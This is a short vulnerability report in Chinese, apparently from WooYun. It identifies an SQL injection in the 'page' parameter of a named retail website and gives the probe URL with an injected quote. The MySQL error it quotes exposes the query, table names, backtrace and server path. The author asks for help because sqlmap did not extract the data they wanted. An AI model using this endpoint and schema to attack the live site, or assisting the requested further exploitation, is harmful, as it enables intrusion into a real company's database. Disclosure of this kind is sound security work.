WooYun.org

注入点：
http://www.sanfu.com/?class_new=0&do=index_new&mod=goods&page=11&per_page=32&price=-1&style=sale
对参数page过滤不严，导致注入。
将page设置成'
即http://www.sanfu.com/?class_new=0&do=index_new&mod=goods&page='&per_page=32&price=-1&style=sale
报错
SQL ERROR [ mysql4 ]
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-32, 32' at line 4 [1064]
SQL
SELECT g.id,g.goods_name,g.goods_sn,g.sc_price,g.pf_price,g.name_style,g.name_color,g.smallpic FROM eb_goods AS g LEFT JOIN eb_n_category_goods AS cata ON g.id=cata.goods_id LEFT JOIN eb_goods_xm AS gxm ON gxm.goods_id=g.id WHERE g.isvalid = 1 AND EXISTS(SELECT id FROM eb_goods_xm WHERE goods_id=g.id AND (category='男装' OR category='女装') ) GROUP BY g.id ORDER BY cata.seq ASC,g.shelf_time DESC LIMIT -32, 32
BACKTRACE
FILE: includes/db/mysql4.php
LINE: 117
CALL: dbal->sql_error()
FILE: includes/db/mysql4.php
LINE: 166
CALL: dbal_mysql4->sql_query()
FILE: modules/goods/index_new.php
LINE: 261
CALL: dbal_mysql4->sql_query_limit()
FILE: index.php
LINE: 93
CALL: include('modules/goods/index_new.php')
Fatal error: in /home/www/html/includes/db/dbal.php on line 379
水平有限，用sqlmap没有跑出想要的结果！求指教！